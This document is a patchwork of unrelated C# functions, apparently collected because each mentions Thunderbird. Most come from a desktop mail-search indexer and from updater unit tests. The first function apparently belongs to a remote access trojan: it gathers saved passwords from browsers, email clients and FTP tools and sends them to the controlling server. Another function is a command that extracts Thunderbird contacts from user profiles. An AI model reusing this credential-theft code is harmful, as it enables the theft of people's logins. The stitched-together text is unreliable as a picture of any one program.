public static void HandleGetPasswords(Packets.ServerPackets.GetPasswords packet, Client client) { List <RecoveredAccount> recovered = new List <RecoveredAccount>(); recovered.AddRange(Chrome.GetSavedPasswords()); recovered.AddRange(Opera.GetSavedPasswords()); recovered.AddRange(Yandex.GetSavedPasswords()); recovered.AddRange(InternetExplorer.GetSavedPasswords()); recovered.AddRange(Firefox.GetSavedPasswords()); recovered.AddRange(Edge.GetPasswords()); recovered.AddRange(Outlook.GetSavedPasswords()); recovered.AddRange(Thunderbird.GetSavedPasswords()); recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); List <string> raw = new List <string>(); foreach (RecoveredAccount value in recovered) { string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.Username, value.Password, value.URL, value.Application, DELIMITER); raw.Add(rawValue); } new Packets.ClientPackets.GetPasswordsResponse(raw).Execute(client); }
public ThunderbirdIndexableGenerator(ThunderbirdIndexer indexer, TB.Account account, string db_file) { this.indexer = indexer; this.indexer.NotificationEvent += OnNotification; this.account = account; this.full_index = true; this.db_file = db_file; this.done = false; this.relative_path = Thunderbird.GetRelativePath(db_file); // Load the database and make sure the enumerator is up to date. Otherwise we will // get lots of null exceptions when enumerating the database. LoadDatabase(); ResetEnumerator(); // Fetch all already stored uris in the index. This way we can remove one uri at the time // while we are indexing and thus in the end now which mails that doesn't exist anymore. if (relative_path != null) { stored_cache = indexer.Lucene.GetStoredUriStrings(account.Server, relative_path); } else { Logger.Log.Debug("Relative path could not be determined for: {0}. Indexing speed will suffer.", db_file); } }
public static SafeProcess GetClientProcess(Beagle.Hit hit) { string client = null; SafeProcess p = null; if (hit.ParentUri != null) { client = Utils.GetFirstPropertyOfParent(hit, "fixme:client"); } else { client = hit.GetFirstProperty("fixme:client"); } if (client == "evolution") { p = new SafeProcess(); p.Arguments = new string [2]; p.Arguments [0] = "evolution"; p.Arguments [1] = (hit.ParentUri != null ? hit.EscapedParentUri : hit.EscapedUri); } #if ENABLE_THUNDERBIRD else if (client == "thunderbird") { p = Thunderbird.GetSafeProcess("-viewbeagle", hit.GetFirstProperty("fixme:uri")); } #endif return(p); }
private bool Process() { Queue tmp = new Queue(); lock (queue.SyncRoot) { while (queue.Count > 0) { Event ev = (Event)queue.Dequeue(); long size = Thunderbird.GetFileSize(Path.Combine(ev.Path, ev.Subitem)); if (Thunderbird.Debug) { Logger.Log.Debug("EVENT: {0} ({1}) [{2}, {3}]", Path.Combine(ev.Path, ev.Subitem).ToString(), ev.Type, ev.CurrentFileSize, size); } if (size != ev.CurrentFileSize) { ev.OldFileSize = ev.CurrentFileSize; ev.CurrentFileSize = size; tmp.Enqueue(ev); continue; } OnInotifyEvent(ev); } while (tmp.Count > 0) { queue.Enqueue(tmp.Dequeue()); } } return(true); }
public void Test_info() { var languages = Thunderbird.validLanguageCodes(); foreach (var languageCode in languages) { _info(new Thunderbird(languageCode, false)); } }
private bool IndexDataCheck() { if (!Directory.Exists(Thunderbird.GetRootPath())) { return(true); } StartWorker(); return(false); }
public void Execute(Dictionary <string, string> arguments) { Console.WriteLine("\n[*] Command: Thunderbird Contacts"); arguments.Remove("contacts"); string displayFormat = "csv"; if (arguments.ContainsKey("/target")) { string target = arguments["/target"].Trim('"').Trim('\''); string contactsDB = target + @"\global-messages-db.sqlite"; if (File.Exists(contactsDB)) { Console.WriteLine("\n[i] Reading contacts from '{0}'", contactsDB); Thunderbird.ExtractContacts(contactsDB, displayFormat); } else { Console.WriteLine("\r\n[X] '{0}' is not a valid Thunderbird database.\n", contactsDB); } } else if (!arguments.ContainsKey("/target")) { // Enumerate Thunderbird installation directories // Adapted from SharpWeb (https://github.com/djhohnstein/SharpWeb) string userName = Environment.GetEnvironmentVariable("USERNAME"); Console.WriteLine("\n[*] Checking for Thunderbird installation as current user ({0})", userName); string userThunderbirdBasePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Thunderbird\Profiles"; if (System.IO.Directory.Exists(userThunderbirdBasePath)) { string[] directories = Directory.GetDirectories(userThunderbirdBasePath); foreach (string directory in directories) { string thunderContactsDB = String.Format("{0}\\{1}", directory, "global-messages-db.sqlite"); if (File.Exists(thunderContactsDB)) { Console.WriteLine("\n[i] Reading contacts from '{0}'", thunderContactsDB); Thunderbird.ExtractContacts(thunderContactsDB, displayFormat); } } } else if (!System.IO.Directory.Exists(userThunderbirdBasePath)) { Console.WriteLine("\r\n[X] Thunderbird installation not found.\n"); } } }
public void IndexFile(string file) { TB.Account account = GetParentAccount(file); if (account == null || supported_types [account.Type] == null || Thunderbird.GetFileSize(file) < 1) { return; } object[] param = new object[] { this, account, file }; ThunderbirdIndexableGenerator generator = Activator.CreateInstance( (Type)supported_types [account.Type], param) as ThunderbirdIndexableGenerator; AddIIndexableTask(generator, file); }
public void Test_validLanguageCodes() { var list = Thunderbird.validLanguageCodes(); Assert.IsNotNull(list); int items = 0; foreach (var item in list) { Assert.IsFalse(string.IsNullOrWhiteSpace(item)); ++items; } Assert.IsTrue(items > 50); }
public override void LoadDatabase() { try { db = new TB.Database(account, DbFile); db.Load(); } catch (Exception e) { Logger.Log.Warn(e, "Failed to load {0}", DbFile); return; } if (db.Count <= 0) { Logger.Log.Debug("Empty file {0}; skipping", DbFile); return; } FullIndex = (Thunderbird.IsFullyIndexable(DbFile) ? true : false); Logger.Log.Info("Indexing {0} Movemails ({1})", db.Count, RelativePath); }
public override void Open() { // If we are not a feed from Thunderbird just open based on mime if (Hit.GetFirstProperty("fixme:client") != "thunderbird") { base.OpenFromUri(Hit ["dc:identifier"]); return; } #if ENABLE_THUNDERBIRD // Here's the Thunderbird specific part SafeProcess p = Thunderbird.GetSafeProcess("-viewbeagle", Hit.GetFirstProperty("fixme:uri")); try { p.Start(); } catch (SafeProcessException e) { Console.WriteLine("Unable to run {0}: {1}", p.Arguments [0], e.Message); } #endif }
private void OnInotify(Inotify.Watch watch, string path, string subitem, string srcpath, Inotify.EventType type) { if (subitem == null) { return; } // Unsubscribe to directories that have been removed if ((type & Inotify.EventType.Delete) != 0 && (type & Inotify.EventType.IsDirectory) != 0) { watch.Unsubscribe(); } lock (queue.SyncRoot) { bool found = false; for (int i = 0; i < queue.Count; i++) { Event ev = (Event)queue.Dequeue(); if (ev.Path == path && ev.Subitem == subitem && ev.Srcpath == srcpath) { found = true; ev.Type = (ev.Type | type); queue.Enqueue(ev); break; } queue.Enqueue(ev); } if (!found) { queue.Enqueue(new Event(watch, path, subitem, srcpath, type, -1, Thunderbird.GetFileSize(Path.Combine(path, subitem)))); } } }
private void StartWorker() { Logger.Log.Info("Starting Thunderbird backend"); Stopwatch watch = new Stopwatch(); watch.Start(); string root_path = Thunderbird.GetRootPath(); if (!Directory.Exists(root_path)) { GLib.Timeout.Add(60000, new GLib.TimeoutHandler(IndexDataCheck)); Logger.Log.Info("No data available for indexing in {0}", root_path); return; } indexer = new ThunderbirdIndexer(this, Thunderbird.GetProfilePaths(root_path)); indexer.Crawl(); watch.Stop(); Logger.Log.Info("Thunderbird backend done in {0}s", watch.ElapsedTime); }
public override void LoadDatabase() { try { db = new TB.Database(account, DbFile); db.Load(); Hashtable tbl = db.Db.Compile("1", "ns:msg:db:row:scope:dbfolderinfo:all"); mailbox_name = (string)tbl ["mailboxName"]; } catch (Exception e) { Logger.Log.Warn(e, "Failed to load {0}:", DbFile); return; } if (db.Count <= 0) { Logger.Log.Debug("Empty file {0}; skipping", DbFile); return; } FullIndex = (Thunderbird.IsFullyIndexable(DbFile) ? true : false); Logger.Log.Info("Indexing {0} containing {1} mails ({2})", RelativePath, db.Count, (FullIndex ? "Full" : "Partial")); }
private Indexable MailToIndexable(TB.Mail mail) { Indexable indexable; GMime.Message message = mail.Message; FullIndex = mail.GetBool("FullIndex"); // Make sure this is up to date string mailbox = (MailboxName != null ? MailboxName : (string)mail.GetString("mailbox")); indexable = NewIndexable(mail.Uri, message.Date.ToUniversalTime(), "MailMessage"); indexable.MimeType = "message/rfc822"; indexable.CacheContent = true; indexable.AddProperty(Property.NewKeyword("fixme:folder", mailbox)); indexable.SetBinaryStream(message.Stream); if (mail.GetBool("FullIndex")) { indexable.ContentUri = UriFu.PathToFileUri(Thunderbird.GetFullyIndexableFile(DbFile)); } message.Dispose(); return(indexable); }
public void Test_implementsSearchForNewer() { var tb = new Thunderbird("de", false); Assert.IsTrue(tb.implementsSearchForNewer()); }
private void OnInotifyEvent(Inotify.Watch watch, string path, string subitem, string srcpath, Inotify.EventType type) { if (subitem == null) { return; } string full_path = Path.Combine(path, subitem); // If prefs.js is deleted... then we have nothing at all to index if (((type & Inotify.EventType.MovedTo) != 0 && srcpath == Path.Combine(path, "prefs.js")) || ((type & Inotify.EventType.Delete) != 0 && subitem == "prefs.js")) { foreach (TB.Account account in account_list) { RemoveAccount(account); } return; } // Update in case an account was removed or added // Thunderbird saves prefs.js with a different name and then replacing the old one // by "moving" it over the existing prefs.js. That's why MoveTo is used as inotfy type. if ((((type & Inotify.EventType.Modify) != 0 || (type & Inotify.EventType.MovedTo) != 0 || (type & Inotify.EventType.Create) != 0) && subitem == "prefs.js")) { UpdateAccounts(path); return; } // In case the address book file have been moved or deleted, we have to stop indexing it if (((type & Inotify.EventType.MovedTo) != 0 && srcpath == Path.Combine(path, "abook.mab")) || ((type & Inotify.EventType.Delete) != 0 && subitem == "abook.mab")) { TB.Account account = GetParentAccount(full_path); if (account != null) { RemoveAccount(account); } return; } // In case of a newly created addressbook, the current address book is modified or an old // address book is moved to where the address book can be found: either start indexing // or restart an already indexing IndeaxbleGenerator. if ((((type & Inotify.EventType.Modify) != 0 || (type & Inotify.EventType.MovedTo) != 0 || (type & Inotify.EventType.Create) != 0) && subitem == "abook.mab")) { TB.Account account = GetParentAccount(full_path); if (account == null && File.Exists(full_path)) { UpdateAccounts(path); return; } else if (account == null) { return; } // Tell any running indexable about this or start a new one if (queryable.ThisScheduler.ContainsByTag(full_path)) { OnNotification(new NotificationEventArgs(NotificationType.RestartIndexing, account)); } else { IndexFile(full_path); } return; } // Re-index files when needed if ((type & Inotify.EventType.Modify) != 0) { TB.Account account = GetParentAccount(full_path); if (account == null || !Thunderbird.IsMorkFile(path, subitem)) { return; } // In case we have a running IndexableGenerator, tell it that we have a file that needs to // be re-indexed. if (queryable.ThisScheduler.ContainsByTag(full_path)) { OnNotification(new NotificationEventArgs(NotificationType.RestartIndexing, account)); } else { IndexFile(full_path); } return; } // Index newly created directories if ((type & Inotify.EventType.Create) != 0 && (type & Inotify.EventType.IsDirectory) != 0) { if (GetParentAccount(full_path) != null && Inotify.Enabled) { Inotify.Subscribe(full_path, OnInotifyEvent, Inotify.EventType.All); } return; } }